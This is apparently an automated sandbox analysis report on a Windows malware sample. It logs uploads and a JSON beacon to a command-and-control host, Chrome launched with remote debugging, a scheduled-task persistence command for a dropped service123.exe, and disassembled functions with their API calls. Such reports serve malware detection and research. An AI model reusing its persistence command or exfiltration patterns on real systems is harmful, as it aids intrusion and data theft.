1d 14 57 [TRUNCATED] Data Ascii: --------------------------blCPDPFfuxHDz4bKvMP4bYContent-Disposition: form-data; name="file"; filename="Suyenudib.bin"Content-Type: application/octet-streamen^]-9IB1en7L1l62__#FNgVg+ePjKAQ":C=n]#"\|OM6o)9\Eo>8rY$$HvJQ7*K2;uyPj.n63W^\1WB}9{yCbD"X!Pl<qL/I':1DZ~xaD}WSi!gU]57z)$YS}"m}S3c:~$+0f~Mpi[kP}}(ECWq=)=kfn4z/$O#(0z?ikkO{o",krq:AsW!K!2b&rTdPC"GQT{T0V>ST +g1A3F:)<T>=%f1a[Fm>:Z 6X+Q0)\/H$:\|0x1zsktS6MyG]^J+.)vhy#o,}%,909N3{&Wj_o][0vT:Pk,/uLnU#GfX/c/Oz4X^ck<Y.?nz#Oy?cD)RKPw(6AIr~;{MOIwaN [TRUNCATED]
Nov 30, 2024 05:00:43.711512089 CET	4944	OUT	Data Raw: ce b1 3d 60 8e 2c 90 dd ee 3e ba f8 1e 87 7e 64 a7 f5 8d b6 39 d6 5e 0d 6b f2 69 a4 64 a6 5d d0 37 24 05 fa 60 ad a9 62 0e 7f fe 18 3c 9e b0 bf 43 44 38 14 f9 89 c7 c8 ed 0d 07 3d 49 a6 10 24 15 9a fa dd d7 f2 c3 79 dc 48 72 09 91 d3 ad 54 95 9d Data Ascii: =`,>~d9^kid]7$`b<CD8=I$yHrTLWHHa]JP%I^ro4#W\K>1Eg!#v%g,)M%?&pbJ8:Yu<qBZZogWD14C&P8~W0Jxq6w4
Nov 30, 2024 05:00:43.711539030 CET	2472	OUT	Data Raw: 7d aa e6 6e 6f f1 9d fe c9 cf 21 09 b6 8a a8 6a 41 df c0 40 1c c1 5d 99 3f c9 36 65 dc c5 14 07 d0 60 d8 a1 a6 f0 e6 ba d2 e1 0e f4 67 18 03 72 0a d8 5c f4 b1 ab 33 6b 8a 88 b0 e8 ab 93 3c db 27 c3 39 30 35 0c 66 cc a9 58 0b 29 68 84 01 64 9e 1b Data Ascii: }no!jA@]?6e`gr\3k<'905fX)hdR\|p(XUksU<-G#U;mA]ksViO^vq9F)E8}H4Xhk@LY4j8DhjBQ<Y3S';rTIE74hrK``p@
Nov 30, 2024 05:00:43.711626053 CET	7416	OUT	Data Raw: 91 9e 67 42 6f a4 4d 50 d6 d0 aa 23 51 36 13 56 b4 74 8a bb 52 b1 84 e4 b6 f8 2b 86 3e 72 c3 e6 62 9f 7b 12 3d 61 5f a7 ef 34 22 0f 3f 2c 7d c2 60 6e 4c 25 d5 1a d3 34 df 13 26 6b 41 31 99 58 8a 01 57 a3 96 a3 57 e3 b5 93 66 57 4a 1d 69 39 c5 cb Data Ascii: gBoMP#Q6VtR+>rb{=a_4"?,}`nL%4&kA1XWWfWJi9#BIf"Uq?\|er]1TUa)01sunv6{r4175ZkFn{/-=/5Tli:w~qC\|>I'.Qe&`6UT
Nov 30, 2024 05:00:43.711822987 CET	3014	OUT	Data Raw: f5 ce 86 8c 4e 25 b3 09 5d 2f 76 25 b4 a2 80 03 22 39 0e e0 ca 2c 91 d3 95 32 18 0e d8 ff ac 9e e6 ae 5d 0d ff 6e a5 17 ed be 4c 40 4b b9 bd ed 57 33 80 a7 29 1d a2 b5 3c 7c b5 45 29 c2 f4 4c c9 0e 6d 5e 7d f3 46 4d c1 11 5a 0f cf 23 e3 d7 9a 31 Data Ascii: N%]/v%"9,2]nL@KW3)<\|E)Lm^}FMZ#1<KgaKs{s=AAn5odC-<4-NnzjcRbR#\`tl@n=}{nZ-4$oy
Nov 30, 2024 05:00:45.215054989 CET	271	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sat, 30 Nov 2024 04:00:44 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 25 x-ratelimit-reset: 1732941034 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49754	141.8.197.146	80	4144	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 05:00:46.498198032 CET	196	OUT	POST /RrlNvinfLqYZQoxgChZr1732768478 HTTP/1.1 Host: home.fvtekx5pt.top Accept: / Content-Type: application/json Content-Length: 56 Data Raw: 7b 20 22 69 64 31 22 3a 20 22 48 34 66 6b 32 61 39 67 77 75 68 77 7a 37 41 67 31 37 33 32 39 33 39 32 30 34 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "H4fk2a9gwuhwz7Ag1732939204", "data": "Done2" }
Nov 30, 2024 05:00:47.994507074 CET	141	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Sat, 30 Nov 2024 04:00:47 GMT content-type: text/html; charset=utf-8 content-length: 4 Data Raw: 6f 6b 61 79 Data Ascii: okay

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	18.208.8.205	443	4144	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-30 04:00:00 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-11-30 04:00:01 UTC	224	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 04:00:01 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-11-30 04:00:01 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 32 32 38 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.228"}

Target ID:	0
Start time:	22:59:56
Start date:	29/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xee0000
File size:	4'479'488 bytes
MD5 hash:	245042B39F7FE432DAF72C046D5000D3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:00:36
Start date:	29/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	23:00:38
Start date:	29/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2340,i,1016166225095006826,12192068235695981454,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:01:54
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\service123.exe"
Imagebase:	0x50000
File size:	314'617'856 bytes
MD5 hash:	7712B03AF17C2844EB8186B44159FC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	23:01:54
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Imagebase:	0x820000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	23:01:54
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	23:01:55
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 1844
Imagebase:	0xe00000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	23:01:57
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\/service123.exe
Imagebase:	0x50000
File size:	314'617'856 bytes
MD5 hash:	7712B03AF17C2844EB8186B44159FC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	23:02:03
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\/service123.exe
Imagebase:	0x50000
File size:	314'617'856 bytes
MD5 hash:	7712B03AF17C2844EB8186B44159FC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	23:03:01
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\/service123.exe
Imagebase:	0x50000
File size:	314'617'856 bytes
MD5 hash:	7712B03AF17C2844EB8186B44159FC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	23:04:02
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\/service123.exe
Imagebase:	0x50000
File size:	314'617'856 bytes
MD5 hash:	7712B03AF17C2844EB8186B44159FC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	50.4%
Total number of Nodes:	125
Total number of Limit Nodes:	4

Executed Functions

Function 6C1714B0 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 121
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_open.MSVCRT ref: 6C1714CD
_exit.MSVCRT ref: 6C17151A
_write.MSVCRT ref: 6C17156A
_close.MSVCRT ref: 6C171579

Strings

CONOUT$, xrefs: 6C1714C6
terminated, xrefs: 6C171540
,p)l, xrefs: 6C244AED
@, xrefs: 6C244AB1

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: _close_exit_open_write
String ID: terminated$,p)l$@$CONOUT$
API String ID: 28676597-3893503646
Opcode ID: 036095cb32a7d86945a49f0c08f161a0961884a1eaa890dac9e58ad1fa799b96
Instruction ID: 5d81b47a6696bd1b3bfcdeb11006c7324e4676e840e09fa3316d6e56fc01aa40
Opcode Fuzzy Hash: 036095cb32a7d86945a49f0c08f161a0961884a1eaa890dac9e58ad1fa799b96
Instruction Fuzzy Hash: CE4138B19083059FDB04DFB9C45866ABBF4BF49318F108A2DE8A9D7680E734C444CB66

Function 0005116C Relevance: 19.7, APIs: 13, Instructions: 200
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 000511B7
SetUnhandledExceptionFilter.KERNEL32 ref: 00051238
__p__acmdln.MSVCRT ref: 00051261
malloc.MSVCRT ref: 000512EB
strlen.MSVCRT ref: 00051323
malloc.MSVCRT ref: 0005132E
memcpy.MSVCRT ref: 00051344
GetStartupInfoA.KERNEL32 ref: 00051433

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandled__p__acmdlnmemcpystrlen
String ID:
API String ID: 1672962128-0
Opcode ID: d46e5c0920a34e4bd95f269192afdc1435254951296c307d68b31978b8d56324
Instruction ID: a8a3e71a2df41d0de7b367c4372074baafa5db141d6d03283b1e44f232f5294e
Opcode Fuzzy Hash: d46e5c0920a34e4bd95f269192afdc1435254951296c307d68b31978b8d56324
Instruction Fuzzy Hash: 7B817D719083018FEB60DF64E8943AF77E0FB44306F04552EDD859B292D779A84DCB92

Function 000515B0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 121
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_open.MSVCRT ref: 000515CD
_exit.MSVCRT ref: 0005161A
_write.MSVCRT ref: 0005166A
_close.MSVCRT ref: 00051679

Strings

terminated, xrefs: 00051640
CONOUT$, xrefs: 000515C6
@, xrefs: 00058341

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID: _close_exit_open_write
String ID: terminated$@$CONOUT$
API String ID: 28676597-491099378
Opcode ID: 7c7ceb337b4907ad21598260a377ee2400af1cbcaf756fbe9ee0d2f51330578e
Instruction ID: 4456fbc600bf210f91a02301d35dff63df2c8f51954aa3ace16f36a71b32dd3e
Opcode Fuzzy Hash: 7c7ceb337b4907ad21598260a377ee2400af1cbcaf756fbe9ee0d2f51330578e
Instruction Fuzzy Hash: 66415CB09043019FDB50DF78C84476FBBE4AB84306F008A2EEC95D7290E738D909CB56

Function 6C189C22 Relevance: 15.1, APIs: 10, Instructions: 110
sleepclipboardCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6C189EB0: GetClipboardSequenceNumber.USER32 ref: 6C189EBE

Sleep.KERNELBASE ref: 6C189BFF
GetClipboardSequenceNumber.USER32 ref: 6C189C08

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: ClipboardNumberSequence$Sleep
String ID:
API String ID: 2948009381-0
Opcode ID: 8d40d9763bd3b8364f3f155333ed5523fdd9a71927a770c56a48a34ea48d0519
Instruction ID: 10b6fc9cbb25942a888883c5f295dcd252b0da7a981a1adaf1808171f8d3f75d
Opcode Fuzzy Hash: 8d40d9763bd3b8364f3f155333ed5523fdd9a71927a770c56a48a34ea48d0519
Instruction Fuzzy Hash: 8E41F4B0A092058FDB00FF74D1985AEBBF0AF45608F41492DEC8A93A44EB35D51ECB93

Function 000581E0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,?,?,?,?,?,?,0005138E,?,?,00006EA2,0005138E), ref: 00058271
GetProcAddress.KERNEL32 ref: 0005828B
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,0005138E,?,?,00006EA2,0005138E), ref: 0005829D

Strings

Failed to get function address. Error code: %d, xrefs: 000582E0
rnCMinwLHbrEjcombrEjcomyVjl.dll, xrefs: 0005824A
UoNSZEmGVOOmAmbjwoRi, xrefs: 0005827E

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Failed to get function address. Error code: %d$UoNSZEmGVOOmAmbjwoRi$rnCMinwLHbrEjcombrEjcomyVjl.dll
API String ID: 145871493-3520036237
Opcode ID: da6a74eb7a19b8d9d103121c29592e4714a422d56828492453cd2870190928be
Instruction ID: 8b8d8fe7c854077e353e8f0b7febae5842861ab864feb3646588727b80758e5a
Opcode Fuzzy Hash: da6a74eb7a19b8d9d103121c29592e4714a422d56828492453cd2870190928be
Instruction Fuzzy Hash: 0131E2729087009FEB54AF74DD4959FBFF4EB85302F009929ED8593240EB79D509CB86

Function 00058230 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 62
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,?,?,?,?,?,?,0005138E,?,?,00006EA2,0005138E), ref: 00058271
GetProcAddress.KERNEL32 ref: 0005828B
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,0005138E,?,?,00006EA2,0005138E), ref: 0005829D
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,0005138E,?,?,00006EA2,0005138E), ref: 000582BD
GetLastError.KERNEL32 ref: 000582DA
FreeLibrary.KERNEL32 ref: 000582F3

Strings

rnCMinwLHbrEjcombrEjcomyVjl.dll, xrefs: 0005824A
UoNSZEmGVOOmAmbjwoRi, xrefs: 0005827E
Failed to load DLL. Error code: %d, xrefs: 000582C3

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID: Library$ErrorFreeLast$AddressLoadProc
String ID: Failed to load DLL. Error code: %d$UoNSZEmGVOOmAmbjwoRi$rnCMinwLHbrEjcombrEjcomyVjl.dll
API String ID: 1397630947-2807322706
Opcode ID: 8070fd2d10bcd074a4268fafff0202f933a0a46c61c30240aceb2100f859c6fe
Instruction ID: d3c12b9213a83b2111eb3ffe4cdaf741f0a6ded4585a882f673dceea4fb05aa6
Opcode Fuzzy Hash: 8070fd2d10bcd074a4268fafff0202f933a0a46c61c30240aceb2100f859c6fe
Instruction Fuzzy Hash: 79119372914A409BE704AFB4DD4559F7FE0EB45302F108624DD5593141FB7A95098B42

Function 000513C9 Relevance: 12.1, APIs: 8, Instructions: 109
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00051238
__p__acmdln.MSVCRT ref: 00051261
malloc.MSVCRT ref: 000512EB
strlen.MSVCRT ref: 00051323
malloc.MSVCRT ref: 0005132E
memcpy.MSVCRT ref: 00051344
_amsg_exit.MSVCRT ref: 000513EA
_initterm.MSVCRT ref: 0005140C

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID: malloc$ExceptionFilterUnhandled__p__acmdln_amsg_exit_inittermmemcpystrlen
String ID:
API String ID: 2053141405-0
Opcode ID: 4d3c6a3db917a23ab99e29c2c33f28f140360e9ab51f293d9abd0e9eb780b91c
Instruction ID: 288607ed47135b41586399feb4c7d43c54dd4832db9af7728854500bf9536cc9
Opcode Fuzzy Hash: 4d3c6a3db917a23ab99e29c2c33f28f140360e9ab51f293d9abd0e9eb780b91c
Instruction Fuzzy Hash: AB41EAB49043018FEB60EF64E89539FBBE0FB44302F10552EDD8597291DB78A949CF52

Function 000511A3 Relevance: 10.6, APIs: 7, Instructions: 115
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 000511B7
SetUnhandledExceptionFilter.KERNEL32 ref: 00051238
__p__acmdln.MSVCRT ref: 00051261
malloc.MSVCRT ref: 000512EB
strlen.MSVCRT ref: 00051323
malloc.MSVCRT ref: 0005132E
memcpy.MSVCRT ref: 00051344
_amsg_exit.MSVCRT ref: 000513EA
_initterm.MSVCRT ref: 0005140C

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled__p__acmdln_amsg_exit_inittermmemcpystrlen
String ID:
API String ID: 2230096795-0
Opcode ID: 95892c0d84445af5f3d4d312731a25c001a5db22db1b2ed0eee5b7bf159b4a90
Instruction ID: ebbbfc668f7b5dcdce0b0ccc10a5032b0eb8c5b62131a4adc1d833450da3371c
Opcode Fuzzy Hash: 95892c0d84445af5f3d4d312731a25c001a5db22db1b2ed0eee5b7bf159b4a90
Instruction Fuzzy Hash: 83411A74A043018FEB60DF64E89479FBBE0BB48342F00552EDD8597291DB78A94ACF92

Function 00051160 Relevance: 9.1, APIs: 6, Instructions: 131
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 000511B7
SetUnhandledExceptionFilter.KERNEL32 ref: 00051238
__p__acmdln.MSVCRT ref: 00051261
malloc.MSVCRT ref: 000512EB
strlen.MSVCRT ref: 00051323
malloc.MSVCRT ref: 0005132E
memcpy.MSVCRT ref: 00051344
GetStartupInfoA.KERNEL32 ref: 00051433

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandled__p__acmdlnmemcpystrlen
String ID:
API String ID: 1672962128-0
Opcode ID: 11e21d95c5bee6f04b5388e6e5161b5a8676d61605313575c4c0bc938cc1766d
Instruction ID: 531eed417624de50eef660e136108c1bb2ad785ad865267f5cb95253b9a3e04e
Opcode Fuzzy Hash: 11e21d95c5bee6f04b5388e6e5161b5a8676d61605313575c4c0bc938cc1766d
Instruction Fuzzy Hash: 13512975A043008FEB60DF64E89479BBBE0FB48302F10952ADD459B391D778A94ACF82

Function 6C189B70 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 32
sleepsynchronizationclipboardCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenMutexA.KERNEL32 ref: 6C189B99
CreateMutexA.KERNELBASE ref: 6C189BE3
Sleep.KERNELBASE ref: 6C189BFF
GetClipboardSequenceNumber.USER32 ref: 6C189C08

Strings

JhbVyuybpwXYHXyDefqs, xrefs: 6C189B82, 6C189BCC

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: Mutex$ClipboardCreateNumberOpenSequenceSleep
String ID: JhbVyuybpwXYHXyDefqs
API String ID: 3689039344-1317993777
Opcode ID: 87b0eb5d6049be9a6893fa41ed2be8d6b2b4277a732cd2ff9b79fb44ae7ba47c
Instruction ID: 39f0fde7a23445b40b8f2e0ebd0b5066e470ae73133262874b85575fd300e429
Opcode Fuzzy Hash: 87b0eb5d6049be9a6893fa41ed2be8d6b2b4277a732cd2ff9b79fb44ae7ba47c
Instruction Fuzzy Hash: 2101D2B15093068FDB00EF69C54975BBFF4AB82748F018818E88992680EB75A059CF92

Function 00051296 Relevance: 5.1, APIs: 4, Instructions: 80
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 000512EB
strlen.MSVCRT ref: 00051323
malloc.MSVCRT ref: 0005132E
memcpy.MSVCRT ref: 00051344

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

